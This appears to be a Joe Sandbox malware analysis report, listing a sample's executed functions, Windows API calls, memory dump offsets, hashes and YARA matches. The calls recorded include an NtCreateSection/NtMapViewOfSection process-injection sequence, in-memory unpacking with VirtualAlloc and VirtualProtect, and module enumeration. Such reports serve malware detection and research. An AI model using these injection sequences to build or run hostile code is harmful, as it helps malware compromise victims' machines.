_sync_legacy_variables_lk.LIBCMT ref: 0040F175

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: ___removelocaleref__copytlocinfo_nolock__setlocale_nolock_sync_legacy_variables_lk
String ID:
API String ID: 219049737-0
Opcode ID: dacc1972c0434a0bf5af0a5a41b4905e0ab1bd420b2feee1509a2fb71b3498ae
Instruction ID: e82b908fcd04b0c8271428fc9e876450d87c6f8e9b7736501bad91097e15c42b
Opcode Fuzzy Hash: dacc1972c0434a0bf5af0a5a41b4905e0ab1bd420b2feee1509a2fb71b3498ae
Instruction Fuzzy Hash: BB319E71A04304EADB20BFA6D88275D77A0AF44318F64847FF8057A2D2DBBC8949965D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF5F Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

__copytlocinfo_nolock.LIBCMT ref: 0040EFDD
__setlocale_nolock.LIBCMT ref: 0040EFEA
___removelocaleref.LIBCMT ref: 0040EFF6
___freetlocinfo.LIBCMT ref: 0040EFFD
___removelocaleref.LIBCMT ref: 0040F02A
___freetlocinfo.LIBCMT ref: 0040F031

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: ___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock
String ID:
API String ID: 2861315002-0
Opcode ID: 676938aa1b07ffee4317a3e9da7522dc6a978b0ffa9d9d955223042bd2505dcb
Instruction ID: 1e9a1880e5c348e0703ca33c00f51b07e8167d824e2e2b5aeb5d90bb728b835f
Opcode Fuzzy Hash: 676938aa1b07ffee4317a3e9da7522dc6a978b0ffa9d9d955223042bd2505dcb
Instruction Fuzzy Hash: 0C21D635508602AED7357F27D80291A7BE4DF9176CB20883FF884762E2EE7DA810865D

Uniqueness

Uniqueness Score: -1.00%

Function 00426AF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00426B1C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 00426B43
GetModuleHandleW.KERNEL32(00000000), ref: 00426B4A

Strings

-, xrefs: 00426B16
-, xrefs: 00426B57

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: EnvironmentFreeHandleModuleStringStrings
String ID: -$-
API String ID: 1582636504-2078519666
Opcode ID: 8f32ab569507f01aa0049d6880b6fb86c3b21e050f5aecc8115885299aab47e4
Instruction ID: a5cf57eb544cada761a9054dbdeb56e39503428340a04bc9be4330430455ef5c
Opcode Fuzzy Hash: 8f32ab569507f01aa0049d6880b6fb86c3b21e050f5aecc8115885299aab47e4
Instruction Fuzzy Hash: 9401F930600124ABC7709F29ECC4D5F7FF8EB89314B92406EE451D7160CE34598ACB99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ufhjbuwPID: 5740, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	27.3%
Signature Coverage:	0%
Total number of Nodes:	99
Total number of Limit Nodes:	5

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Uniqueness

Uniqueness Score: -1.00%

Function 0042628B Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 264
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?,0BB7EA7B,?,?,52860AB1,?,?,34026A25), ref: 004269FD

Strings

6, xrefs: 004263E3
v;^:, xrefs: 0042665B
F(+, xrefs: 00426341
U99x, xrefs: 004263D2
O8##, xrefs: 004264D4
X2R, xrefs: 0042647C
R'._, xrefs: 0042660E
o:?, xrefs: 00426842
dFfX, xrefs: 0042654E
:/X, xrefs: 00426562
)?u, xrefs: 004268A5

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: ProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
API String ID: 544645111-975362989
Opcode ID: 35d728c95aa6d0a75f2c7cf45eec9f2d0d017f28882eafd102482a2d68368c15
Instruction ID: d72fbdaad144419308e756cdf284ac6d7789ac6a6b4f3aee9be819b8f8910974
Opcode Fuzzy Hash: 35d728c95aa6d0a75f2c7cf45eec9f2d0d017f28882eafd102482a2d68368c15
Instruction Fuzzy Hash: 4702EAB480536CDBDB20CF86EA857CCBBB0BB11704F6186D8D9196B214D7724A85CF89

Uniqueness

Uniqueness Score: -1.00%

Function 004C003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004C024D

Strings

cess, xrefs: 004C018D
kernel32.dll, xrefs: 004C008F, 004C0095

Memory Dump Source

Source File: 00000003.00000002.1984120576.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_ufhjbuw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7172b0b9a9028b5bc288cbda9fb143cf9a5cc347473573ab14e018b37c9fdbfb
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 88527B78A01229DFDBA4CF58C984BA9BBB1BF09304F1480DAE50DA7351DB34AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00426F5C Relevance: 6.1, APIs: 4, Instructions: 59
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleOutputCP.KERNEL32(00000000), ref: 00426F79
SetFileAttributesW.KERNEL32(0042A988,00000000), ref: 00426F9B
OpenWaitableTimerA.KERNEL32(00000000,00000000,0042A9B0), ref: 00426FA8
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00426FF9

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: ConsoleOutput$AttributesFileOpenTimerWaitableWrite
String ID:
API String ID: 1436354611-0
Opcode ID: 62ed26e15b5a49391d8a23dc0cda7980fbfb03aaa03a303bc663d0258708f716
Instruction ID: 644fc488f5917a07c12c4052361495bd25380895930b253282537b45d16775f0
Opcode Fuzzy Hash: 62ed26e15b5a49391d8a23dc0cda7980fbfb03aaa03a303bc663d0258708f716
Instruction Fuzzy Hash: 5811E231A01225BFCF129BA9FD4599F7778FB01324B53553AE100A2160D7784A4ACF6D

Uniqueness

Uniqueness Score: -1.00%

Function 006EF95D Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006EF985
Module32First.KERNEL32(00000000,00000224), ref: 006EF9A5

Memory Dump Source

Source File: 00000003.00000002.1987664254.00000000006EC000.00000040.00000020.00020000.00000000.sdmp, Offset: 006EC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6ec000_ufhjbuw.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 24d16d3a5709c8bd55f9579a95008983b035fb54c3f3d64a9d37ea62692ed4de
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0AF0F6366013507FD7203BF6A88CBAE72E9AF48324F100539E682D21C1CB70EC458660

Uniqueness

Uniqueness Score: -1.00%

Function 004C0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,004C0223,?,?), ref: 004C0E19
SetErrorMode.KERNELBASE(00000000,?,?,004C0223,?,?), ref: 004C0E1E

Memory Dump Source

Source File: 00000003.00000002.1984120576.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_ufhjbuw.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 37266e850fa7461fd680b01f9627d0ca78227899bd460c9d1794fc9cdfc8cad4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 24D01235145128B7D7403A94DC09BDE7B1CDF05B62F008411FB0DD9180C774994046E9

Uniqueness

Uniqueness Score: -1.00%

Function 00426A16 Relevance: 1.5, APIs: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(004361E8,00426EB5), ref: 00426A6F

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9e85f7e3211469c7aff70de8e8f6211f89e9375843a5db308750fb0cf86726ac
Instruction ID: 335214d8cf92d86652192826c7dd3f95ee96a184b7b7a1d6687d55eba145f56e
Opcode Fuzzy Hash: 9e85f7e3211469c7aff70de8e8f6211f89e9375843a5db308750fb0cf86726ac
Instruction Fuzzy Hash: 92F0CE1054C2D3E8EF52C368AD19B153E95132264CF5AA1BD81901A2A3CAEBC229C77E

Uniqueness

Uniqueness Score: -1.00%

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 006EF61C Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006EF66D

Memory Dump Source

Source File: 00000003.00000002.1987664254.00000000006EC000.00000040.00000020.00020000.00000000.sdmp, Offset: 006EC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6ec000_ufhjbuw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 8850836d76fd4de9853d08d5666b3e2640692ff2c6672a93ef282379f6f76d15
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 9F113979A00208FFDB01DF99C985E98BBF5AF08350F1580A4F9489B362D371EA90DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

